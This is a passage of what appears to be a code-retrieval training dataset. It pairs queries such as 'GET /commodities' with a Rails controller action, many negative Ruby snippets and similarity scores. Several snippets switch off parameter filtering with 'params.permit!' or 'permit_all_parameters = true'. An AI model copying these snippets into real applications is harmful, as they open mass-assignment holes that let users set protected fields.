"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
This function gives out the title page when people use this system | def instruction
@spliter = '-----------CSAIR-------------------------'
puts @spliter
puts 'Welcome to the CSair interface'
puts 'You can use the following instruction to interact with the databse'
puts 'Case is not sensitive in this interface'
puts 'GetCity [CITY CODE] will return the information of the city'
puts 'GetInfo will return the information of CSAIR'
puts 'Browser will return the picture which has all the routes of CSAIR'
puts 'GetAllCity will return a list of cities that CSAIR fly to.'
puts 'EditCity will bring you to edit mode where you can edit a city'
puts 'Editroute will bring you to the edit mode where you can edit a route.'
puts 'Save will save the current graph onto the data file.'
puts 'Load will reload the graph from the data file. Current progress will be lost.'
puts 'Merge [file_path] will let you read and merge the file into our current graph'
puts 'Checkroutes [metro1] [metro2]......[metro.n] will check the routes and give you some feekbacks'
puts 'Shortest [City Code1] [city Code2] will return the path from city 1 to city 2.'
puts 'Test and ExitTest will enter or exit the testing mode'
puts 'Help will print this menu again.'
puts @spliter
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def page_title\n \n page_title = @renderer.title title()\n \n puts \"[Cutlist.page_title]: #{page_title}\" if $cutlister_debug\n \n page_title\n \n end",
"def title_help \n\n\t\t#Define general page title\n\t\tbase_title = \"Rex Ruby on Rails Learning | PagesHelper\"\n\t\tif(@title.nil?)\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title = \"Rex Ruby on Rails Learning | #{@title} | PagesHelper\"\n\t\tend\n\tend",
"def page_title\n end",
"def gen_title(page_title)\n puts @me.valid_user?\n if !@me.valid_user?\n site_title=\"Delta Kappa Epsilon - Sigma Tau\"\n else\n site_title=\"DKE Server\"\n end\n if (page_title!=\"\")\n return \"#{site_title} | #{page_title}\" \n else\n return site_title\n end\n end",
"def title\n @global_page.title\n end",
"def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end",
"def page_title() nil end",
"def page_title; end",
"def page_title\n h Array(@title).join(\" / \") + \" | integrity\"\n end",
"def page_title\r\n @web_browser.page_title\r\n end",
"def page_title\n @page_title || TaliaCore::SITE_NAME\n end",
"def page_title\n @web_browser.page_title\n end",
"def header_text(page_title)\n page_title || @@base_title\n end",
"def title\n if detail_page?\n \"#{resource.name} - #{menu.name} - #{website_tag.name}\"\n else\n \"#{menu.name} - #{website_tag.name}\" \n end \n end",
"def page_title title= nil\n\t\tif title\n\t\t\tcontent_for(:page_title) { \"#{title} - 2da.re\" }\n\t\t\treturn title\n\t\telse\n\t\t\tcontent_for?(:page_title) ? content_for(:page_title) : \"Ready 2da.re?\"\n\t\tend\n\tend",
"def page_title\n \t\"PatTalk\"\n end",
"def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end",
"def page_title\n return \"#{this_webapp.webapp_name} - #{@page_title}\" if @page_title\n return \"#{this_webapp.webapp_name}\"\n end",
"def title\n base_title = \"CloudSpokes Coding Challenges\"\n if @page_title.nil?\n base_title\n else\n \"#{base_title} - #{@page_title}\"\n end\n end",
"def page_title(title)\n \"gbchaosmaster#{\" | #{title}\" unless title.blank?}\"\n end",
"def get_page_title\n uri = request.request_uri\n section = uri.split(\"/\").last\n title = case section\n # these should be consistent now\n when \"questions\" then \"Key Questions\"\n when \"publications\" then \"Publication Information\"\n when \"arms\" then \"Study Arms\"\n when \"design\" then \"Study Design\"\n when \"baselines\" then \"Baseline Characteristics\"\n when \"outcomes\" then \"Outcome Setup\"\n when \"results\" then \"Results\"\n when \"adverse\" then \"Adverse Events\"\n when \"quality\" then \"Study Quality\"\n else \"\"\n end\n return title\n end",
"def title\n @browser.title\n Logbook.message(\"Page title is #{@browser}\")\n end",
"def page_title\n page.title\n end",
"def titler\n if @title.nil?\n $application_name\n else\n \"#{$application_name} : #{@title}\"\n end\n end",
"def site_title\n if content_for?(:title)\n \"#{content_for(:title)} - \"\n elsif ['static'].include?(controller_name)\n if action_name == 'home'\n ''\n else\n \"#{action_name.humanize} - \"\n end\n elsif @breadcrumbs && @breadcrumbs.any?\n \"#{@breadcrumbs.last[:name]} - \"\n elsif controller_name\n \"#{controller_name.humanize} - \"\n else\n ''\n end + \"PaN Training Catalogue\"\n end",
"def page_title\n if controller_name == 'pages'\n title = t \"#{action_name}_page\"\n \"#{app_name} | #{title}\" # e.g.: 'Ror4 | Home'\n else\n if @page_title.nil?\n \"#{app_name} | #{t controller_name}-#{t action_name}\" # e.g.: 'Ror4 | groups-index'\n else\n \"#{app_name} | #{t @page_title}\" # e.g.: 'Ror4 | Show group Manager'\n end\n end\n end",
"def page_title\n title = content_for?(:title) ? \" - #{content_for(:title)}\" : \"\"\n \"Todobadour#{title}\"\n end",
"def title\n Praline::browser.title\n end",
"def full_title(page_title)\n \t\tif page_title.empty?\n \t\t\tsite_name\n \t\telse\n \t\t\t\"#{page_title} | #{site_name}\"\n \t\tend\n \tend",
"def title(page_title = '')\n\t\tbase_title = \"AB Online Shop\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tpage_title + \" | \" + base_title\n\t\tend\n\tend",
"def title\n base_title = \"My Site\"\n unless @title.nil?\n \"#{base_title} | #{@title}\"\n else\n base_title\n end\n\n end",
"def full_title(page_title = '')\n base_title = \"Colegio de Notarios\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def page_title\n nil\n end",
"def page_title\n title = t(\"#{controller_name}.#{action_name}.title\")\n html = <<-HTML\n <div class=\"page-header\">\n <h1>#{title}</h1>\n </div>\n HTML\n html.html_safe\n end",
"def name; (page.title rescue ''); end",
"def name; (page.title rescue ''); end",
"def render_page_title\n @page_title ? \"#{@page_title}_#{SiteName}\" : SiteName rescue \"SITE_NAME\"\n end",
"def full_title(page_title = '')\n base_title = \"Spookd.me\"\n if page_title.empty?\n base_title\n else \n page_title\n end\n end",
"def full_title(page_title)\r\n\tbase_title = \"whichizrite\"\r\n\tif page_title.empty?\r\n\t\tbase_title\r\n\telse\r\n\t\t\"#{base_title} | #{page_title}\"\r\n\tend\r\nend",
"def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n browser.title\n end",
"def full_title(page_title)\n base_title = \"BH Herbarium\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def full_title(page_title = '')\n base_title = \"NKUNet\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def full_title(page_title)\n\t\tpage_title = PAGE_TITLE \n \tbase_title = BASE_TITLE\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def studyTitle\n $async::wait_until($janus::WAY_TOO_LONG_TO_LOAD) { page_header.visible? }\n sleep 1 #TODO Refactor methods, steps are failing due to recent update from imedidata\n $async::wait_until($janus::WAY_TOO_LONG_TO_LOAD) { !page_header.text.empty? }\n page_header.text\n end",
"def title\n [super().presence, homepage.title].compact.join(' - ')\n end",
"def scrape_title( page )\n\t\tpage.title.split( ' - ' )[0]\n\tend",
"def full_title(page_title)\n base_title = \"Quick-Score.com\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} @ #{base_title}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | Alfalfa\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n app_name\n else\n \"#{page_title} | #{app_name}\"\n end\n end",
"def full_title(page_title)\n base_title = \"WDIS\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def pageTitle\n (self || Home.new).title\n end",
"def full_title(page_title)\n base_title = \"Proman 2013\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title\n\t base_title = \"Most epic website of all time, also celebrating beer.\"\n\t if @title.nil?\n\t base_title\n\t else\n\t \"#{base_title} | #{@title}\"\n\t end\n end",
"def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def base_title(page_title = '')\n base_title = \"Sergio Mironescu\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title\n page.title\n end",
"def full_title(page_title = \"\")\n \tbase_title = \"Facebook Clone\"\n \tif page_title.empty?\n \t\tbase_title\n \telse\n \t\tpage_title + \" | \" + base_title\n \tend\n end",
"def site_title\n @site.title\n end",
"def title\n evaluate(\"document.title\")\n end",
"def title\n # Sets the browser title bar display\n base_title = \"Grademypitch\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def full_title (page_title)\n\tbase_title = \"Recipository\"\n\n\nif page_title.empty?\n\t\tbase_title\n\telse\n\t\t\"#{base_title}\" | #{page_title}\"\n\tend\nend\nend",
"def full_title(page_title)\n page_title.blank? ? \"My Defi Pie\" : \"My Defi Pie | #{page_title}\"\n end",
"def page_title(title)\n content_for_wrapper(:page_title, title)\n end",
"def page_title\n @page_title = \"Nursing System\"\n end",
"def full_title(page_title = '')\n base_title = ENV['titlepage']\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def full_title(page_title)\n base_title = \"Koprulu Sector\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n\t\tbase_title = \"dreamly\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def full_title(page_title)\n base_title = \"Proman 2014\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend",
"def full_title(page_title)\n base_title = \"Secret Sauce\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n\t\tbase_title = \"Hybrid Edu\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end",
"def full_title(page_title = '')\n base_title = \"Hearth Helper\"\n if page_title.empty?\n base_title\n else\n page_title + \" - \" + base_title\n end\n end",
"def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end",
"def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end",
"def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end",
"def full_title(page_title = '')\n base_title = \"ChatterBox\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def full_title page_title\n base_title = \"emo-search\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def page_title\n @page_title ||= format_string(page[\"title\"]) || site_title\n end",
"def full_title(page_title)\n\t\tbase_title = \"Myreef.tv\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n #{page_title} | #{site_name}\n end\n end",
"def full_title(page_title)\n base_title = \"WebSchool\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} - #{base_title}\"\n end\n end",
"def page_title\n \"swinfo for #{item}\"\n end",
"def page_title(page_title = nil)\n @page_title ||= page_title\n @page_title.nil? ? \"Carers: #{action_name}\" : \"#{@page_title} @ Lort Smith\"\n end",
"def title(page_title)\n\t\t\tmode = \"[DEV] \" unless ::Rails.env.production?\n\t\t\tcontent_for(:title) { mode.to_s + page_title + \" | \" }\n\t\tend",
"def full_title(page_title = '')\n base_title = app_name\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def full_title(page_title = '')\n base_title = \"WriteIt\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def page_title( this_title = nil )\n content_for( :title ) { \"#{ SITE_ID }: #{ this_title.nil? ? I18n.t( controller.controller_name + '.title' ) : this_title }\" }\n end",
"def page_title\n \"CMVC #{type} #{defect_name}\"\n end",
"def title\n base_title = \"Golo\"\n if@title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n connection.write(\"get_title\", false)\n end"
] | [
"0.7978431",
"0.78991604",
"0.7844771",
"0.7832088",
"0.78234446",
"0.78141314",
"0.78130203",
"0.78106415",
"0.77787006",
"0.7764507",
"0.77505845",
"0.7722555",
"0.77165514",
"0.7715816",
"0.76970947",
"0.7695327",
"0.7684538",
"0.7671375",
"0.7651759",
"0.76508695",
"0.76421684",
"0.7637954",
"0.7622698",
"0.75192416",
"0.7518989",
"0.75085336",
"0.75061077",
"0.7497943",
"0.74978006",
"0.7490964",
"0.74828345",
"0.747295",
"0.7472856",
"0.74562764",
"0.74482787",
"0.74482787",
"0.7445854",
"0.74305815",
"0.74278736",
"0.7420751",
"0.7420533",
"0.7408604",
"0.74044186",
"0.74044186",
"0.7402286",
"0.74016196",
"0.7401247",
"0.7401247",
"0.7401247",
"0.7401247",
"0.7401247",
"0.7401247",
"0.7401247",
"0.74009436",
"0.73992413",
"0.7398122",
"0.73969465",
"0.73868376",
"0.73766565",
"0.7376085",
"0.7353106",
"0.73506767",
"0.73484105",
"0.73474044",
"0.73466164",
"0.73464733",
"0.73397696",
"0.7338715",
"0.73370713",
"0.73277795",
"0.7325071",
"0.73221534",
"0.73208815",
"0.73199147",
"0.7317034",
"0.7314145",
"0.73092103",
"0.7308618",
"0.73055875",
"0.7303114",
"0.73011416",
"0.729685",
"0.7296335",
"0.7292416",
"0.7292416",
"0.7292416",
"0.72886187",
"0.7285019",
"0.7277386",
"0.72738194",
"0.72674835",
"0.72644436",
"0.7263643",
"0.7262346",
"0.72607684",
"0.72521",
"0.7252073",
"0.72497195",
"0.7248685",
"0.7232364",
"0.7229111"
] | 0.0 | -1 |
This function is a main interface, cal this function and the interface will show up. | def wait_for_input(my_graph)
while true
input = gets
words = input.split
if (words.length == 0)
next
end
command = words[0].upcase
case command
when 'EXIT'
break
when 'BROWSER'
open_browser(my_graph)
when 'GETINFO'
my_graph.analysis_data
when 'GETALLCITY'
list_city(my_graph)
when 'GETCITY'
if (words.length >= 2)
get_city_info(words[1].upcase, my_graph)
else
puts 'You need to give me the city!'
end
when 'EDITCITY'
edit_city(my_graph)
when 'EDITROUTE'
edit_route(my_graph)
when 'HELP'
instruction
when 'SAVE'
save_file(my_graph)
when 'LOAD'
my_graph = load_file(my_graph)
when 'MERGE'
merge_file(my_graph, words[1])
when 'CHECKROUTES'
words.shift
check_routes(my_graph, words)
when 'TEST'
my_graph = Graph.new('../data/test.json')
puts 'Into Test mode'
when 'EXITTEST'
my_graph = Graph.new('../data/map_data.json')
puts 'Exit test mode'
when 'SHORTEST'
if words.length >=3
if words[1]==words[2]
puts 'I know without even thinking about it. It is 0'
else
calculate_shortest(my_graph, words[1].upcase, words[2].upcase)
end
else
puts 'The number of cities you provide is not enough.'
end
else
puts 'Commends not recognisable.'
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def interface; end",
"def interface; end",
"def main\n\n end",
"def main\n end",
"def implementation; end",
"def implementation; end",
"def main; end",
"def main\n\nend",
"def how_it_works\r\n end",
"def included_interfaces; end",
"def call\n\n\tend",
"def call\n\n\tend",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def methods() end",
"def apis; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def standalone; end",
"def run\n end",
"def run\n end",
"def run_main\n end",
"def extended_interfaces; end",
"def show() end",
"def show() end",
"def show() end",
"def run\n end",
"def operations; end",
"def operations; end",
"def run\n \n end",
"def run\n \n end",
"def main\n self\n end",
"def main_run\n raise NotImplementedError\n end",
"def run\n end",
"def functions\n\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def usage; end",
"def usage; end",
"def run\n end",
"def rossini; end",
"def api; end",
"def api; end",
"def zuruecksetzen()\n end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call\n end",
"def start\n\t\tend",
"def main\n super\n return self\n end",
"def registry; end",
"def registry; end",
"def start\n end",
"def start\n end",
"def start\n end",
"def start\n end",
"def start\n end",
"def start\n end",
"def start\n end",
"def start\n end",
"def villian; end",
"def design\r\n \r\n end",
"def library; end",
"def library; end",
"def init\n\n end",
"def autorun; end",
"def start\n\n end",
"def setup_gui\n \n end",
"def call\n end",
"def interface_methods; end",
"def service; end",
"def start\n fail 'not impl.'\n end",
"def printInterface(pageName, concreteCode, ajaxcontrols=nil, css=nil, effects=nil, appData=\"\")\r\n findAjaxControls(ajaxcontrols) unless ajaxcontrols.nil?\r\n findCSS(css) unless css.nil?\r\n findEffects(effects) unless effects.nil?\r\n data = get_events(pageName)\r\n @eventData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @eventData << \"return '#{data}' \\n\" \r\n @eventData << \"} \\n\"\r\n data = get_decorations(pageName)\r\n @animData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @animData << \"return '#{data}' \\n\" \r\n @animData << \"} \\n\"\r\n data = get_transitions(pageName)\r\n @transData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @transData << \"return '#{data}' \\n\" \r\n @transData << \"} \\n\"\r\n begin\r\n # Exceptions raised by this code will\r\n # be caught by the following rescue clause\r\n concreteCode.each { |line|\r\n @bodyContent << line\r\n divId = line.slice(/<div id='\\S+'/)\r\n if (!divId.nil?)\r\n divId.slice!('<div id=\\'')\r\n divId.slice!('\\'')\r\n interfaceToInclude = @references[divId]\r\n if (!interfaceToInclude.nil?)\r\n interfObj = SWUI::Interface.find_by.interface_name(interfaceToInclude).execute.first\r\n\r\n if (interfObj.dynamic==\"true\") then\r\n compiler = AICompiler.new\r\n abstr_spec= SWUI::AbsInterface.preCompile(interfObj.abstract_spec.first,true, appData).first\r\n compiler.parseXML(abstr_spec)\r\n interfObj.concrete_code = compiler.concrete_code\r\n end\r\n \r\n codeToInclude = interfObj.concrete_code.first\r\n ajaxcontrolsToInclude = interfObj.ajaxcontrols.first\r\n cssToInclude = interfObj.concrete_interfaces.first\r\n effectsToInclude= interfObj.effects.first\r\n printInterface(interfaceToInclude, codeToInclude, ajaxcontrolsToInclude, cssToInclude, effectsToInclude, appData)\r\n end\r\n end\r\n }\r\n return true\r\n rescue Exception\r\n @bodyContent << \"Interface #{pageName} not found.\\n\"\r\n @bodyContent << $! \r\n return false\r\n end\r\n end",
"def start\n \n\tend",
"def start\n end",
"def start\n end",
"def start\n end",
"def start\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end"
] | [
"0.7633816",
"0.7633816",
"0.74329346",
"0.72500783",
"0.7136535",
"0.7136535",
"0.7109532",
"0.67322654",
"0.6708031",
"0.6645193",
"0.6634692",
"0.6634692",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66224253",
"0.66180384",
"0.6604662",
"0.6583684",
"0.6583684",
"0.6583684",
"0.6583684",
"0.65728533",
"0.652937",
"0.652937",
"0.6510813",
"0.65089566",
"0.6501016",
"0.6501016",
"0.6501016",
"0.64878",
"0.6485148",
"0.6485148",
"0.6467203",
"0.6467203",
"0.6461503",
"0.6459648",
"0.6455235",
"0.64527065",
"0.6452548",
"0.6452548",
"0.6452548",
"0.6452548",
"0.6452548",
"0.6452548",
"0.6452548",
"0.6448822",
"0.6448822",
"0.6415508",
"0.6401051",
"0.635566",
"0.635566",
"0.6296114",
"0.62884605",
"0.62884605",
"0.62884605",
"0.62884605",
"0.62884605",
"0.62884605",
"0.62884605",
"0.62884605",
"0.6271004",
"0.62485546",
"0.6245394",
"0.62375337",
"0.62375337",
"0.6233918",
"0.6233918",
"0.6233918",
"0.6233918",
"0.6233918",
"0.6233918",
"0.6233918",
"0.6233918",
"0.6232428",
"0.6222372",
"0.6216176",
"0.6216176",
"0.62026954",
"0.62023896",
"0.61992574",
"0.6188724",
"0.6187334",
"0.61868715",
"0.61816806",
"0.6179864",
"0.6177085",
"0.6176652",
"0.61657447",
"0.61657447",
"0.61657447",
"0.61657447",
"0.6165477",
"0.6165477",
"0.6165477",
"0.6165477"
] | 0.0 | -1 |
GET /commodities GET /commodities.json | def index
@commodities = Commodity.all
respond_to do |format|
format.html # index.html.erb
@commoditis = Array.new
format.json {
@commodities = @commodities.select{|commodity|
commoditi = Hash.new
commodity.attributes.each do |key, value|
commoditi[key] = value
end
commoditi[:links] = CommonActions.object_crud_paths(commodity_path(commodity), edit_commodity_path(commodity),
commodity_path(commodity))
@commoditis.push(commoditi)
}
render json: {:aaData => @commoditis}
}
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @commodities = Commodity.all\n if params[:search].present?\n @commodities = @commodities.query(params[:search].to_s)\n end\n @commodities = @commodities.page(params[:page])\n respond_to do |format|\n format.html\n format.js {} \n format.json { \n render json: {:commodities => @commodities}\n } \n end\n end",
"def index\n @categories = Category.all\n @commodities = current_user.commodities.order(\"created_at desc\")\n @selled = @commodities.where(:num => 0).page(params[:page]).per(15)\n @selling = @commodities.where(\"num > ?\", 0).page(params[:page]).per(15)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def show\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def show\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def show\n @categories = Category.all\n @commodity = Commodity.find(params[:id])\n @comment = Comment.new\n @comment.commodity = @commodity\n @order = Order.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def get_expense_companies\n res = {\n :total => nil,\n :success => true,\n :data => []\n }\n entities = OrderEntity.find_all_by_order_id(params[:id], :include => [:company])\n entities.each do |e|\n res[:data].push([e.id, e.company.name])\n end\n\n render :json => res.to_json, :layout => false\n\n end",
"def index\n @sales_productivities = SalesProductivity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_productivities }\n end\n end",
"def index\n @opportunities = Opportunity.all\n\n render json: @opportunities\n end",
"def set_commodity\n @commodity = Commodity.find(params[:id])\n end",
"def index\n @cities = City.all\n\n render json: @cities\n end",
"def index\n @comunities = Comunity.all\n end",
"def getbyId\n begin\n @company = Company.find(params[:id])\n render :json => @company.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:companyInvestors,:classifications,:companyGeos,:companyRevenues,:companyGrowths]), :status=>:ok\n rescue\n render :json=>\"No company found\"\n end\n end",
"def dispense_commodity\n @commodity.new\n end",
"def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end",
"def index\n @companies = Company.all\n @cities = City.all\n #render json: @companies\n render json: { :companies => @companies, :cities => @cities }\n end",
"def index\n @intelcompanies = IntelCompany.all\n render json: @intelcompanies.to_json(include: [:intel, :company])\n end",
"def index\n @equipment_orders = EquipmentOrder.all\n respond_to do |format|\n format.json { render json: @equipment_orders }\n end\n end",
"def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end",
"def index\n # TODO: ideally instead of eager loading sells, we could just include\n # quantity_sold in the eager_lod for lots.\n @portfolios = Portfolio.eager_graph(lots: :sells).eager_graph(allocations: {:asset_class => :funds}).all\n\n render json: @portfolios\n end",
"def commodities(commodities_hash)\n return self if commodities_hash.nil?\n\n commodities_hash.each do |commodity_hash|\n @sim_data.add_commodity(Commodity.new(commodity_hash['Name']))\n end\n\n self\n end",
"def index\n @territories = current_company.territories\n @regions = Region.all_regions\n @max_pop = Region.maximum(:population)\n @min_pop = Region.minimum(:population)\n @max_biz_pop = Region.maximum(:business_population)\n @min_biz_pop = Region.minimum(:business_population)\n @opportunities = current_company.opportunities\n @reps = current_company.representatives\n respond_with(@territories)\n end",
"def index\n @communities = Community.all\n render json: {items: @communities}\n end",
"def index\n @modalities = Modality.all\n json_response(@modalities)\n end",
"def index\n @equipment_lists = EquipmentList.all\n render :json => @equipment_lists, :include => [:weapons, :armours, :equipments]\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @pricings = Pricing.all\n\n render json: @pricings\n end",
"def index\n @localities = Locality.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @localities }\n end\n end",
